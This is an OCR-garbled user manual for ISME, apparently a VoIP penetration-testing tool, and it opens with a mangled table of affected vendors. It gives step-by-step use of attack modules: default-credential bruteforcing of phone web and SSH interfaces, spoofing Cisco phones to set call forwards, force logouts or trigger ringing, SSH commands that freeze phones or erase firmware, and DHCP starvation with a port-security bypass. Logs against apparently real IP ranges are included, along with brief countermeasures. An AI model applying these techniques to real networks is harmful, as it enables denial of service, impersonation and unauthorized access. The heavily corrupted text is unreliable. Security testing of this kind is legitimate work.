blaipy Commaneaton TachnaingyATsrac2 R .Jun 2014
Mbat Networks, (e Affected 14 Sun 201027 Jul 2010
htloenls, the Afected 14 Jum 204027 Jus 2040
MElpRAL Inc AMecied 18 Jun 209027 Jul 2010
MokigAMecipd 18 Jun 209027 Jui 2010

Moriel Betworks. ing Affecied 14 Jur 2010
PoyromAfeched 14 Jun 201007 Dec 2010
Prosim, 10g. Afactad 14 Jun 209027 Jul 2010

Bag Visigr., Inc AMactec14 Jun 201027 Jul 2070
Bicoh Commapy Lid Afacied 18 Jun 200006 Aug 2010
Bpciwed AutomatonAfecea 15 Jun 201030 Ju 2010
Schngides Elecrigafiactad-13 Jan 2013
SERAMacted-01 Sap FOHD

Shanatel Communications, Inc Aflected 14 Jun 2010
Siemersisaciedd Jun 201029 Agr 2011

SMC Medwoeks, og Affectsd 18 Jun 201027 Jul 2010
IECHDnecAachad 14 Jun ZHOET Jul 2010

Tul Syaleens, Ion Afected 16 Jun 301027 Jul 2010
‘i R Syterns, Ine Aflected T4 Jun 2010
KeropASuciedid Jun 301027 Jul 2010

Ganon ol Affected 18 Jun 201017 Aug 2010
BrocadatMknownla Aug 211003 Aug 3010

el Comgratigrnkroamd® Jul 201027 Jul 2040
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5.2.2- Run the scanner

Select the scanner from Launcher windows:

AOA % ISME (IP Phone Scanning Made Easy}
| Hle About

Gl bl

[Scanner
Tools
|Exploits
Editors

Generic
VxWorks active debug mode detection

| ] - |

Some products based on VaWorks have the WDB target agent debug

service ensbled by default. This secvice provides read/write
access to the dewice's memory and allows functions to be calle
d.

T L=l =

As usual, once login/password, IP Address or subastbeen entered in configure area, the
script could be launch through menu “File” or lalrbutton 1_| ).

ANO [ VxWorks active debug mode detection
| File |

DI
— Configure
4 IP Subnet to test

Subnet (192.168.1.0/24): |201 JB.218.77/27
~- 3ingle device to test

Device IP Address (192.168.1.1): |

-
Details | Positive results | All logs |

: e AY

Launching ¥=Works active debug mode detection

201.16. 218 65: Trying to connect
201.16. 218, 65: WARNING, VxWorks debug mode may be active.
201.16. 218 . 66: Trying to connect

201.16. 218, 66 WARNING, VxWorks debug mode may be active.
201.16.218.67: Trying to connect

201.16.218.67; WARNING, VxWorks debug mode may he active.
201.16.218.68: Trying to connect

201.16.218.68: Device not wulnerable.

201.16. 218 69 Trying to connect

201.16.218.69: WARNING, VxWorks debug mode may be active.
201.16. 218 70: Trying to connect

201.16. 218 70: Device not wulnerable.

201.16.218.71: Trying to connect

201.16.218. 71: WARNING, VxWorks debug mode may he active.
201.16.218.72: Trying to connect

Yy

Note: Depending on firewall filtering or network stackrdiguration, ISME may not received
an ICMP network unreachable packet from the tedeadce (which mean that the UDP port
17185 is closed). This means that the device wlcbnsidered as potentialy vulnerable by
ISME even if it is the not case. UDP protocol dd permit true exchange like TCP, thus
rendering identification difficult.
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5.3- SIP scanner

5.3.1- Description

This module will try to detect if a SIP (tcp or ydgervice is available on the specify IP
address or subnet.

If a SIP service has been detected, a SIP OPTIGikepawill be send to get additional
information on the user agent or server.

Moreover, the script will move forward and detddhie following services usually provided
for administration are available or not:

* telnet
e ssh

* http

* https

* answer to ping
Note: Administration services should be properly idaeatif encrypted and unreachable from
public area.

5.3.2- Run the scanner

Select the scanner from Launcher windows:

Aann | ISME (IP Phone Scanning Made Easy)

‘ File Abhout |
G e|p|iE

Scanner Generic

Tools SIP Scanner |
Exploits V=Works active debug mode detection

Editors

] |

|This module will try to detect if a SIP service is awailable o
;n the specify IP address. This test will be done for UDP port
(5060, Dnee 2 SIP serwvice has been detected, the script will tr
|y to detect if the following services usually provided for adm
|inistration are available or not: telnet, ssh, http, https and

W | — |

Provide an IP address or a subnet and select €liG& or UDP mode. As usual, once
information are provided login/password, IP Addressubnet has been entered in configure

area, the script could be launch through menu *Bitdaunch button _| ).

File
I

Configure

4 IP Subnet to test

Subnet (192.168.1.0/24): |B4.124.6312559

~ Single device to test

Device IP Address (192.166.1.1): |

% SIP over UDP - SIP over TCP
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e L ) %/ SIP Scanner

‘ File

©|p| 5

— Configure
4% IP Subnet to test

Subnet. (192.168.1.0/24): |84.124.63.1 29/30

«- Single device to test

Device IP Address {192.166.1.1): |
% SIP over UDP . SIP over TCP

Details | Positive resul_ts-l Al logs |

Launching SIP scanning

—-----84 124 £3.129: Identifving available services

84, 124,63 129; SIP service awailable on UDP poct S060 (Open/Filtered)
84 124 63.120: SIP Option answer — YES

SIP/2.0 404 Ua Not Founds{d}

Via: SIP/2.0/udp 127.0.0.1:5060;branch=mg7UCICHIBUE idAopXoHah; received=02, 239, 11
2. 1:rport=B888tx{d}

From: "izme” <sip:isme@l27.0.0. 1:;tag=1348030414%:x{d}

To: <sip:user@fd 184 63 15950605 ; tag=54703F811304-003506000%{d}
Call-ID: zkZVER]STEMThayiTnyfOEisme. netizx{d}

CSeq: 64770 ODPTIONS':id}

Server: InnoMedia MTA3328-ZR V6. 3.48 SN/0010990271dd%x(d}
Gontent-Length: O%cid}

haeid}

B4.124 63.129: Answering to ping - HO

84,124 63.129: Bnswering te telnet - YES

84, 124,63, 129; Answering to 55H - HO

84 124 63.120: Answering to HTTP - NO

84.124. 63 129: Answering to HTIPS - NO

—————— 84,124 63.130: Identifying available services

84,124 63.130; SIP service awailshle on UDP port S060 (Open/Filtered)
84,124 €3.130: SIP Option answer — NO

B4 124, 63.130: Answering to ping - NO

84,124 £3.130: Answering te telnet - NO

AN || SIP Scanner

‘ File

o[p[lE

— Configure
4% IP Subnet to test

Subnet (192.168.1.0/24): |84.124.63.129a’30

~- 3ingle device to test

Device IP Address (192.168.1.1): |
-~ SIP over UDP & SIP over TCP

Details | Positive resul_ts-l All logs |

——————84 124 £3 129: Identifying awailable services
84.124.63 129: No SIP secwice found

—————— 84.124.63.130: Identifying awailable serwices
84.124.63 130: No SIP serwice found

ENDI

|
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6- Tools

6.1- Aastra web bruteforcer

6.1.1- Concept

Many SIP IP Phones have an embedded web serveorto am their configurations. Basic
authentication is the usual way to get in. The idkthis module is to test those web servers
with the usual default passwords (admin/22222 fastéa).

The attack could be done in three ways:
- The attack is launched on the current load suloeet.dt will analyze it to get all the
devices with a web server and launch the test.
- The attack could be launch on a single IP address
- The attack could be launch on a specific subnet.

6.1.2- Using ISME to do it

Select the exploit from Launcher windows.

Aann | ISME (IP Phone Scanning Made Easy)
| Fle About I
ey S
Scanner _\ |Aastra Webh Bruteforcer | il
Tools Cisco Phone Forwarder
Exploits |Cisco Mobility Feature Abuse
Editors Cisco Phone Ringer
Cisco Phone 55H Detector
DHCP Starvation
DN3 Hesolver
Mitel Web Bruteforcer i
SNOM Weh Bruteforcer
/ |Polycom Soundpoint Web Bruteforcer 4
e
ol

IP Phone from scanned subnetthis option will use the results of a from an oldean with
the generic scanner applicative module done eadiektract unidentified active IP address
with an associate web services. It will then te&tr Aastra default login/password.

Once the option is selected, it is necessary td tba file containing older scan result. It is
done through the menu “File ->“Select subnet aaloor with the following button:

As usual, once IP Address/Subnet/File have beefigtoad, the tool could be launch through
menu “File” or launch button+| ).

“Details” tab : provides information on the tool himself.
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“Positive results” tab: Contains IP addresses that have been identifiedsasy default
login/password on their web interface.

“All logs” tab: contains all information on the tested IP addresse

o Nala) |\ Test default Aastra Login/Passward
File

CEEE

- Configure

~ |IP Phone from scanned subnet
Selected scan file (.isme): |
~- Single IP Phone

IP address to scan (192.168.0.154): I
4% Scan a subnet

Subnet to scan (192.168.0.0/24): |54.ZD'I AGFA29/27

[ . = B

Details | Positive results | All logs |

Starting to test 64,201 187.120/27 for default Aastra Login/Passwerd Al

64 901.187.144: test admin /22202 — WARNING =5 used

________________________ B e e e
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=M@ |\\| Test default Aastra Login/Password
File

d )] JYEY]

— Configure

+ |IP Phone from scanned subnet

Selected scan file {isme): |
-~ Single IP Phone

IP address to scan (192.168.0.154): |

# Scan a subnet

Subnet to scan (192.168.0.0/24): IE4.ZD1 JE7129427

[ E T

Details | Positive results | Al logs |

B4, 201.187.134: Mo default login/password.
——————— Testing 64. 201,187 135
64.201.187.135: No default login/password
——————— Testing 64. 201.187 136
Unreachable

——————— Testing 64. 201.187. 137

6. 201.187.137: No default login/password
——————— Testing 64. 201, 187,138
Unreachahle

——————— Testing 64. 201,187 139
Unreachahle

——————— Testing 64. 201.187. 140
Unreachable

——————— Testing 64. 201.187. 141
Unreachable

——————— Testing 64. 201, 187. 142
Unreachahle

——————— Testing 64. 201,187 143
64.201.187.143: Wo default login/password
——————— Testing 64. 201,187 144

g4, 201,187 144 test admin/2ZEEE - WARNING =» used
——————— Testing 64. 201.187. 145
Unreachable

——————— Testing 64, 201, 187. 146
Unreachable

——————— Testing 64. 201,187 147
Unreachable

——————— Testing 64. 201.187. 148

Saving of “all logs” tab information can be doneatingh file menu or save buttos_"*il ).
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6.2- Cisco phone forwarder

6.2.1- Concept

Idea: Spoofing the identity of skinny cisco phone, and use it to register with the CU&d

set a forward on it.

Core infrastructure

o spoof phone identity to register on the CUCM

€ Setforward

9 Call the phone and see what happen ...

6.2.2- Using ISME to do it

Note: The attack does not depend on earlier scans miticléSME.

Note 2: after the attack the real physical phone will bean unstable state for around one
minute. We have spoofed his identity to change diwafiguration of CUCM, therefore he
need to resynchronize with him.

Supported IP Phone models6901, 6911, 6921, 6945, 6961, 7910, 7911, 79140,78941,

7942, 7945, 7960, 7961, 7962, 7965, 7970, 79715,78941, 8945, 8961

To launch the attack interface, go to menu “Tobl€isco Phone: Forwarder (SCCP)”

Date: 06/10/2013

Editors

Cisco Phone Ringer

Cisco Phone 55H Detector
DHCP Starvation

DHNS Resolver

Mitel Web Bruteforcer
SHOM Web Bruteforcer

= I

Polycom Soundpoint Web Bruleforcer

This tool provide the capacity to spoof a Cisco IP Phone ident
ity in order to set a forward all on the original IP Phone.

ano 2\ ISME (IP Phone Scanning Made Easy)
File Ahout |
G e p|E
Scanner Aastra Weh Bruteforcer
Tools Cisco Phone Forwarder
Exploits Cisco Mobhility Feature Abuse

By Cedric Balillet
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A new window will open with information to provid&€hey are a necessity to be able to spoof
the identity of a working IP Phone. Be precise athing will happen.

2 e P || Cisco IP Phone Forwarder (Skinny)
| File |

CUCH IP Address: |1 92.168.80.92
Phone to forward name (SEPO0127 FAEGBFAD): ISEF'DD'I 27FAEGFAD

{6901 |
Phone to forward type: iB.911 =
{6921 /
Phiohe to forward IP Address: {192 . |16 8 CF o
Forward target number: {1001
X
¥

Many thanks to Stephane Gorse for his work on this one.

Note: no control is done on user provided information.

Once all information are provided, go to menu “FielLaunch forwarding attack” to start the
attack.

A0 || Cisco IP Phone Forwarder {Skinny)

File |

BEew s s s e

Launch forwarding attack
y D127FAEBFAD): |SEPDU12?FAE8F.&.D
Exit
[ran1 1

The spoof IP Phone should restart and have a isearfd to the chosen number.

Screen after a successful attack:
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MANO [\| Cisco IP Phone Forwarder (Skinny)

File

CUCH IP Address: |1 92.168.10043
Phone to forward name (SEPD0127FAESBFAD): ;SEPDD‘I BSIBGAIAE

7945
Phone to forward type: 7960 —

7961 /
Phone to forward IP Address: EE . |16 -J7 .17
Forwand target number: |10
==========) SoftKeyTenplateReq Message ===========
==========} ZoftKeySetReq Message
=====z=====} ConfigStat Message ==
==========} LinsStat Message
==========3 RegisteravailableLine Message ===========
s====—-=-—3 LineStat Message ===========
-——» Transfering to :
1001
--—» the transfer is completed
e e e ey e e I e e ]

/

Many thanks to Stephane Gorse for his work on this one.

6.2.3- Countermeasure

The attack is based on the capacity to spoof Im&halentity. A strong authentication with a
certificate, either MIC or LCS, will render it unszessful.
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6.3- Cisco mobility feature abuse

6.3.1- Concept

VoIP DMZ

od -

Extension mobility

@ Hackersend the logout url to CUCM with IP Phone’s SEP reference
o CUCM send the logout command to the IP Phone

Useris logged out and must re authenticate to access his rights and
data

6.3.2- Using ISME to do it

Select the exploit from Launcher windows.

M NO | ISME ([P Phone Scanning Made Easy) :
| File Ahout |
Glep|E
Scanner "\ [Aastra Web Bruteforcer
Tools Cisco Phone Forwarder
Exzploits Cisco Mobility Feature Ahuse |
Editors Cisco Phone Ringer

Cisco Phone S5H Detector

DHCP Starvation

DHS Resolver

Mitel Web Bruteforcer

SHOM Webh Bruteforcer

/ |Polycom Soundpoint Weh Bruteforcer

L L

This tool provide the capacity to spoof a Cisco IP Phone ident
ity in order to log him off extension mobility serwice.

| > |

Option 1: Enter CUCM IP address and IP Phone MAC addresgdédoinching the script
with the usual®™ button.

Option 2: Use a previous “Generic scanner” saved scan remutte) to disconnect identified
IP Phones. The file should be selected thro éw obut “file” menu.
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x}iBpen
Directory: fUsers/cedricbaillet/ismefscan_history — |
[ 2011-11-13-12h58mn -192.16 se [ 2012-0-21-16h51mn -202.4

0 2011-1 7h36mN -192 16612 Distme [] 2002-0-21-1BHS3mn ~202.§
) 2011-11-19-17hamn -192 166.12.00sme. [ 2012-0-21-16h53mn -172.°
[ 2011-11-6-11hdmn -192 168 46.0.sme [ 2012-0-21-17hamn ~130.2(
[ 2011-11-3-16h47mn -10.133139 0isme [ 2012-0-5-16hS1mn -192.1¢
[ 2011-11-9-18K13mn -10193.154.0dsme 0 2012-1-13-14h11mn -192.
[ 2012-0-12-16h58mn 10158 212 0isme ] 2012-1-13-14h23mn -192."

| =

Fle name: |2011-11—1 3-1Zh58mn -192.168.7.0.isme

Open

Files of type: isme files (*.isme) = | Cancel |

Note 1:CUCM IP Address should be in the backup of thased subnet but | did found out
that the extraction of servers ip addresses wasfuligt reliable. Therefore, | preferred a

manual entry.

Note 2: The logs are just a confirmation that urls havenbeent to CUCM. It is not an

indication that phones are effectively log out.

MMM 1| Cisco IP Phone: Mobility feature abuse
File

CEEIE:

— Configure

Eéﬁ CUCHPF IP Address (192.168.0.154): |192.1EB.D.254

# Disconhect one IP Phone

IP Phone MAC address (001122334455 lDD1122334455|

~~ Disconnect all IP Phones from scanned subnet

load scan: |

Details | Positive results | All logs |

Logout command sent to CUGM 192 168 0. 254
Targetted IP Phone: SEPO01122334455
Attack done.
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| File
CERE

— Configure

+« Disconnect one IP Phone
IP Phone MAC address (001122334455):

Lt‘fz-wa CUCHP IP Address (192.168.0.154): i192.158.ﬂ.254

4% Disconnect all IP Phones from scanned subnet

load scan: istersf::edriu:bailletn’ismefsu:an_hismryfzm 1-11-19-17h36mn -192.168.12.0.isme

[ E =

Details | Positive results | Al logs |

——————— Bnalyzing line 74

——————— gnalyzing line 75

——————— analyzing line TG

——————— Enalyzing line 77

——————— Analyzing line 78

——————— Bnalyzing line 79

——————— analyzing line 80

——————— analyzing line 81

——————— Bnalyzing line 82

Logout command sent to CUCHM 192 168
Targetted IP Phone: SEP44d3caT¥lclcco
Attack done.

——————— Analyzing line 83

Logout command sent to CUCHM 192 168
Targetted IP Phone: SEP2893FE13000A4
Attack done.

——————— analyzing line 894

Logout command sent to GUCHM 192 168
Targetted IP Phone: SEP04FETF&S0D35
Attack done.

——————— Analyzing line 85

——————— Enalyzing line 86

Logout command sent to CUCH 192 168
Targetted IP Phone: SEPDOCZEZD00CDE
attack done,

——————— analyzing line 87

——————— Analyzing line 88

——————— Bnalyzing line 89

0,254

0. 254

.0.254

0,254

6.3.3- Countermeasure

An option in “CUCM enterprise parameters” specifidgat only trusted IP addresses
(registered) are allowed to login/logout.
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Idea: taking the identity of akinny cisco phone, and use it to register with the CUaM

make the other phones ringing.

Core infrastructure

o Unplug phone1000 and spocf his identity ro register on the CUCM
o Make call to other phones to create a perpetual ringing

6.4.2- Using ISME to do it

Note: The attack does not depend of earlier scans maddSWE.

Supported IP Phone models6901, 6911, 6921, 6945, 6961, 7910, 7911, 79140,78941,

7942, 7945, 7960, 7961, 7962, 7965, 7970, 79715,78941, 8945, 8961

To launch the attack interface, go to menu “Tool€isco Phone: Ringer”

Tools
Exploits
Editors

Cisco Phone Forwarder
Cisco Mobility Feature Abuse
Cisco Phone Ringer

Cisco Phone 35H Detector

DHCFP Starvation

DHS3 Resolver

Mitel Web Bruteforcer

SHOM Web Bruteforcer

Polycom Soundpoint Web Bruteforcer

[ I

This tool provide the capacity make several Cisco IP Phone rin
g at the same time or in round cobin mode.

[ M@ H) % ISME (IP Phone Scanning Made Easy)

Fle About |
el b
[Scanner Aastra Web Bruteforcer

I

N |

A new window will open with information to provid&éhey are a necessity to be able to spoof

the identity of a working IP Phone. Be precise athing will happen.
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LANO __\| Cisco IP Phone Ringer (Skinny)

File

CUCH IP Address: I‘I 0.0.01

Phone to spoof name (SEPD01Z27FAESFAD): ISEF'UD'I 19327EBYT

6901
Phone to spoof type: 6911 =
6921 4
Phone to spoof IP Address: |1 92 . [168
Ringing phone M1 number: |‘I 0o
Ringing phone M2 number: |1 ooe
Humber of ringing to launch: IS

Many thanks to Stephane Gorse for his work on this one.

Y ““'I

Note: no control is done on user provided information.

Once all information are provided, go to menu “FifeLaunch ringing attack” to start the

attack.

[ Wi V) %/ Cisco IP Phone Ringer (Skinny)

File

Launch ringing attack

e 00127 FAEGFAD ): ISEF'DDHSSZ?EEI??
1]

16901

A

The phones configured with the numbers provided shdd start to ring. Only two

numbers are configurable to use this tool as a pré@f concept and nothing else.

Date: 06/10/2013 By Cedric Balillet

Page 39



ISME v0.12

Screen after a successful attack:

fOO [\ Cisco IP Phone Ringer (Skinny)
| File

CUCM IP Address: i‘l 9216810049
Phone to spoof name {SEPD0127FAEGFAD): |SEPDD1 BS3BEAIAE

7345
Phone to spoof type: 7960 —
|V

7961
Phone to spoof IP Address: |13z .|168 .7 |tz

Ringing phone N1 number: |3?43

Ringing phone H2 numbetr: |1 ooz

Number of ringing to launch: |3

---» Dropping the call
---» the call is closed
---3 Making call to :1002
---: Dropping the call
-—-» the call is claosed
=== Making call to :3743
---» Dropping the call
-==3 the call is closed
-——» Making call to :1002
---% Dropping the call
---» the call is closed _
---3 Making call to :3743
---» Dropping the call
——=% the call is closzed
---» Making call to :1002
---3 Dropping the call
---» the call is closed
s=========3 A1l calls are closed ss=========

A

b

Many thanks to Stephane Gorse for his work on this one.

6.4.3- Countermeasure

The attack is based on the capacity to spoof Im&halentity. A strong authentication with a
certificate, either MIC or LCS, will render it unszessful.
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6.5- Cisco Phone SSH Detector

6.5.1- Description
Cisco Phone have an embedded SSH server mostly fasedebugging purpose by
administrator. Sadly, it could be used in other svand should therefore be properly

securized, which means at least a strong passwdreltier, an SSH service disabled.

The applicative module “Cisco Phone SSH Detectaitl’ scan a subnet to identify phones
that have an SSH service activated with specigdential.

6.5.2- Using ISME to do it

Select the exploit from Launcher windows:

LAMO | ISME (IP Phone Scanning Made Easy)
File About |
1 |
e |
Scanner __: Aastra Weh Bruteforcer N
Tools Cisco Phone Forwarder
Exploits Cisco Mobility Feature Abuse
| Editors Cisco Phone Ringer

Cisco Phone SSH Detector
DHCF Starvation

DHS Resolver

Mitel Weh Bruteforcer

SHOM Web Bruteforcer
/ |Polycom Soundpoint Web Bruteforcer /

'This tool provide the capacity to detect if a S5H service with :\T
default credential is activated on a Cisco IP Phone |

As usual, once login/password, IP Address or subastbeen entered in configure area, the
script could be launch through menu “File” or lalrbwtton 1;_| ).

“Details” tab : provides information on the tool himself.

“Positive results” tab: indicates that SSH credential have been found artifsp IP
addresses.

“All logs tab”: provides all information regarding the testing edny the script. They can be
neutral, negative or positive.

Saving of “all logs” tab information can be doneaiigh file menu or save butto_':_-‘;_| ).
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Ao \| Cisco Phone SSH detector

35H login: admin

S5H password: cised|

4 1P Subnet to scan with default login/passvrord
Subnet (192.168.1.0/24): I‘I 92.168.11.0/28

~ Single IP Phone to scan with default loginfpassword

IP Phone address (192.168.1.1): |

[ = - RS
Details | Positive results | All logs |
Launch S5H default loginfpassword detection
Cisco phone IP address:182.168 11 11
SSH connection successful with credential admin:cisco
END
ANOA 1\ Cisco Phone SSH detector
| File
ISIE
— Configure
h‘%ﬁ Enter S5H Login/Password {either for subnet or single option):
35H login: admin
SSH password: cisco
4 IP Subnet to scan with default login/password
Subnet (192.168.1.0/24): I‘ISZ.‘ISB.'I‘I.D.I’ZB

~- 3ingle IP Phone to scan with default login/password

IP Phone address (192.168.1.1): |

Details | Positive results | All logs |

Unizble to ping Phone Ip address: 192.168.11.5

Unable to ping Phone Ip address: 192.168.11.6

Unable to ping Phone Ip address: 192.168.11.7

Unable to ping Phone Ip address: 192.168.11.8

Unable to ping Phone Ip address: 192.168.11.9

Cisco phone IP address: 192 168.11.10
Error: Unable to login to S5H Serwver.

Cisco phone IP address:192 168.11.11
SSH connection successful with credential admin:cisco

Cisco phone IP address: 192.168.11.12
Error: Unsble to login to SS5H Serwer.

Cisco phone IP address: 192.168.11.13
Error: Unable to login to SSH Serwver.

Unable to ping Phone Ip address: 192.1g8.11.14

END
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6.6- Cisco Phone: Having fun with SSH

6.6.1- Description

This module provide the capacity to use SSH commeta Cisco IP Phone to get information,

reboot it or create a deny of service.

IP Phone type TS9H

-» Show all TP Phone parameters - Use S55H connection to IP Phone to realize a sh
ow tech and provide the results in an automated mode.

-» Freeze totally IP Phone - Create a DoS on the IP Phone by killing a specific
LOCESS.

E) BElock DSP - no awdio functions - Kill the DSP process to create a DoS on the
IP Phone. Once the DSP process has been killed, all awdio functionnalities are u
rmiszhle.

IP Phone type 893H & 993X

-» Show all IP Phone parameters - Use 55H connection to IP Phone to realize a sh
ow tech and provide the results in an suwtomated mode.

-» Reboot IP Phone - do what it says.

-» Erase IP hone configuration & firmware - Same as factory reset.

WOREAROUND
Dizsble 55H server or used strong password for authentication.

Date: January 2013

6.6.2- Using ISME to do it

Step 1:Select the exploit from Launcher windows:

ANA | ISME (IP Phone Scanning Made Easy}
| File  Ahout |
el b

IScanner "\ |nastra Weh Bruteforcer
Tools Cisco Phone Forwarder
Exploits Cisco Mobility Feature Ahuse
Editors CGisco Phone Ringer

Cisco Phone 55H Detector

Cisco Phone: Having fun with 35H

DHCP Starvation

DHS Resolver

Mitel Webh Bruteforcer

/ ISHOM Weh Bruteforcer

L LA

T =

AOOA | ISME (IP Phone Scanning Made Easy}
| Fle About |
&l o|p |5
3canner fastra "_:— Cisco Phone Forwarder
Tools Alcatel Cisco Mobility Feature Abuse
Exploits Avaya Cisco Phone Ringer
Editors Cisco Cisco Phone 35H Detector
Mitel idscu Phone: Having fun with 53H
Polycom
Snom

/A

This tool prowvide the capacity to create either information di
sclosure or deny of service through the connection of the IP P
hone S5H service.

[T = | < ] - |
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Step 2:provide the necessary information and choose gmeltype and function to apply.

— Configure
IT IP Phone S5H login: |Ciscn
(B

_a IP Phone SSH password: | Cisco

+ Subnet (192.168.1.0/24):
% IP Phone address (192.168.1.1): [192.166.11.13 |

- 89X -
Select IP Phone serie: 995K _'f t jl

Rehoot IP Phone 8934 & 993
| ¥

SEREE IR UD B Show all IP phone parameters 89XX & 995X

As usual, the script could be launch through métile® or launch button-\-_| ).

“Details” tab : provides information on the tool himself.

“Positive results” tab: indicates that SSH credential have been found atifsp IP
addresses.

“All logs tab”: provides all information regarding the testing edny the script. They can be
neutral, negative or positive.

[ M@ NE) || Cisco Phone: Having fun with SSH.
‘ File

e
— Configure

7 IP Phone SSH login: |cisca
" 1P Phone ssH password:  |cisco
- Subnet (192.168.1.0/24): [
% IP Phone address {192.168.1.1): |1 92.1668.11.11

Select IP Phone serie: |§g§ |§/ u‘

) |Show all IP phone parameters 795X 1Y

Select function to apply: IFreeze totally IP Phone 7
Details | Positive results [nn logs |

A

Having fun with 55H tool launching |

192.168.11.11: Show all IP phone parametecs - tentative
192.168.11.11: Output result '

hae{d}

aidi]

Ye{d}0026CE3BAOFR> show tech

haid

haid)

haei{d} ==

hac{d} show dhep

“xid) s=

hafd}

“i{d}DHCP State —---» ‘wxfd}Status -————-—- > Sx{diIP Address ----» ‘x{d}Subnet
Mask ---> ‘x{diDefault Gwy —--> Sot{d}VWLAN --—--—--—- > we{diDomain Name --->
“r{diMy Name ------—- » x{d}DHCP Server ——-» ‘wx{d}TIFTP Opt 150 --» ‘ox{d;TFTP

Opt 66 ——-3 x{d}TFTP siaddr ---» “x{d}TFTP siname ---> ‘x{d}TFIP alternate-:
‘efdiTFTP shell ----> orf{diDNS Server —---» ‘{d}DNS Serwver ----> ‘zc{d}

haidix{d)=

Yae{d} show cdp

hafd} ==

haid} §

A\5{d}FDELAY --—--- » O%x{d}BPC CFG ----——— 3 Ihx{d}SW CFG -————- » 1%x{d}STATUS —————

—> DAx{d}VLAN —-----—- > 100%e{dFVVLAN ——-——-—- » 11%e{d}Port ——---=—- » De{d}VVLAN
Admin -» 4096%<{d}V¥VLAN IP ----—> 0%x{d}PC WVLAN Acc-> ensble’z{d;PC VLAN --—--—- ¥
4095%x{d}CDP Enable --» 3%c{d;LLDP Enable -» 3%g{djAsset ID ----3 ‘ax{d}PwrPrior|

Saving of “all logs” tab information can be doneatigh file menu or save buttoE;l ).
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6.7- DHCP Starvation

6.7.1- Concept

DHCP Starvation is an old and well known attacke &im is an attribution of all the existing
IP address available on DHCP server and rendeubeatess.

1000 x DHCP Discover

P
] AR 4 Scope 1521610340 Stainie u
2 - ' 5 5
[B ] é sies 243

Yersinia

» New IP Phones won't start

Random problems

DoS on a whole subnet

6.7.2- Using ISME to do it

Note: the script is configured to send DHCP discovehwiite PC MAC address at the layer
2. This means that port security will be uselessuich a configuration. Take care.

To launch the attack interface, go to menu “ToolServer: DHCP Starvation”

NaYalla) | ISME (IP Phone Scanning Made Easy)
| Fle Ahout |
elb|m

Scanner
Tools
Exploits
Editors

Aastra Web Bruteforcer

Cisco Phone Forwarder

Cisco Mobility Feature Abuse

Cisco Phone Ringer

Cisco Phone 33H Detector

DHCP Starvation

DNS Resolver

Hitel Web Bruteforcer

SNOM Weh Bruteforcer

Polycom Soundpoint Web Bruteforcer

Launch a DHCP starvatilon attack. Bypass portsecurity.

B

| < ] |

N

A new window will open. Select the number of DHCIsddver to send depending of the
subnet size. A temporization has been includetienstript. The computer sending is too fast
for a good efficiency, which is solve with the temngation, so do not be surprised by an
appearance of slowness.
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[ e |%] DHCP Starvation (with port-security bypass)
File

s 912 Dhcp Discover
~ 1024 Dhcp Discover
~- 10000 Dhcp Discover

LA

To launch the attack interface, go to menu “Fild.aeinch DHCP Starvation attack”.

MNO [%| DHCP Starvation (with port-security bypass)

Launch DHCP Starvation attack
STOP DHCP Starvation attack

Exit
l X

The attack is straight forward. The packets will @t and the script will stop. A clear
message is log in the interface when this stattesaish.

o M M) || DHCP Starvation (with port-security bypass) _
File |

# 512 Dhcp Discover
~~ 1024 Dhcp Discover
~~ 10000 Dhcp Discover

DHCP Discover number 497 sent.
DHCE Discover number 498 sent.
DHCP Discover number 4989 sent.
DHCE Discowver number 500 sent.
DHCE Discover number 501 sent.
DHCP Discover number 502 sent.
DHCE Discowver number 503 sent.
DHCE Discover number 504 sent.
DHCP Discover number S05 sent.
DHCE Discover number 506 sent.
DHCE Discover number 507 sent:
DHCE Discowver number 508 sent.
DHCP Discover number 509 sent.
DHCP Discover number 510 sent.
DHCP Discover number 511 sent.

A

DHCP Starwvation attack is owver. DHCP serwver shouldn't he able to deliver any IP
addcess if no counter measuce has been implemented.

6.7.3- Counter measure

DHCP Snooping functionality verifies the coherebeyween layer 2 and applicative lever for
DHCP packet. Packets sent with ISME will trigges gecurity rule and be discarded.
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6.8- DNS Subnet resolver

6.8.1- Concept

By being plug in the LAN and having an IP addres$?C has a very effective mean to

ISME v0.12

identify core infrastructure servers through DNS.

Indeed, once a first scan has been done with ISMEPPdhone subnet, the servers’ subnet is

known.

With this information, we have just to associatéivacip address with the server name
through DNS request, which will be a serious tiraeirsg compare to a brute force attack.

6.8.2- Using ISME to do it

To launch the attack interface, go to menu “ToblServer: DNS Subnet resolver”

ANnN A\ ISME (IP Phone Scanning Made Easy)
| File Ahout

Gl e|p|E

Scanner Aastra Web Bruteforcer
Tools Cisco Phone Forwarder
Exploits Cisco Mobility Feature Abuse

Editors

Cisco Phohe Ringer

Cisco Phone SSH Detector
DHCP Starvation

DHS Resolver

Mitel Web Bruteforcer
SMOM Web Bruteforcer

/ |Polycom Soundpoint Web Bruteforcer

server subnet

Bet servers name through their IP address once you'we got the

| |

N

Enter the subnet to scan.

I Yala

|\| IP Subnet DNS Resolver

File

Subnet to workout (192.168.1.0/24): [192 168.100.0:27] |

To launch the attack interface, go to menu “Fild.aeinch NS Resolver analyze”.

N/ IP Subnet DNS Resolver

Launch DNS Resolver analyze

Save scan results

Exit

:|192 165 100.0/27] |
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Analyze the results.

AN O
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| IP Subnet DNS Resolver

File

Subnet to workout (192.168.1.0/24): [132.168.100.0/27 |

192.168.100.18;

192,168,100, 3; vmwarel. fremecourt. com
192.168.100.5: chagasse. fremecouct. com
192.168.100.6: mpex. fremecourt. com

192 168.100. 7: mpexl. fremecourt. com

192.168.100.8: cupl. fremecourt. com

192 168.100.10: chapi. fremecourt. com
192.168.100.11: exchangeZk?. fremecourt. com
102,168,100, 12 exchangefkl0. fremecourt. com
182 168.100.13: hyperv. fremecourt. com
192.168.100.16: tampax. fremecourt. com

192, 168.100.19: ocs2kll. fremecouct. com
102 168.100. 24: chabit. fremecourt. com
192 168 100,28 alycone. fremecouct. com

ManNn

And don’t forget to save them or you will have witagain.

5[ IP Subnet DNS Resolyer

Launch DNS Resolver analyze
Save scan results
Exit

+|192.166.100.0/27 |

urt. com
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Mitel web bruteforcer
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Step 1:Menu “Tools->Mitel Web Bruteforcer”. A new windowill open.

% ISME (IP Phone Scanning Made Easy)

| File Ahout

Gle|p|fEl

Scanner
Tools
Exploits
Editors

'\ [pastra web Brutetorcer
|Cisco Phone Forwarder

Cisco Mobility Feature Abuse

Cisco Phone Ringer

|Cisco Phone SSH Detector

|DHCP Starvation

|DNS Resolver

|Mitel Web Bruteforcer

|SNOM Web Bruteforcer
/ |Polycom Soundpoint Web Bruleforcer

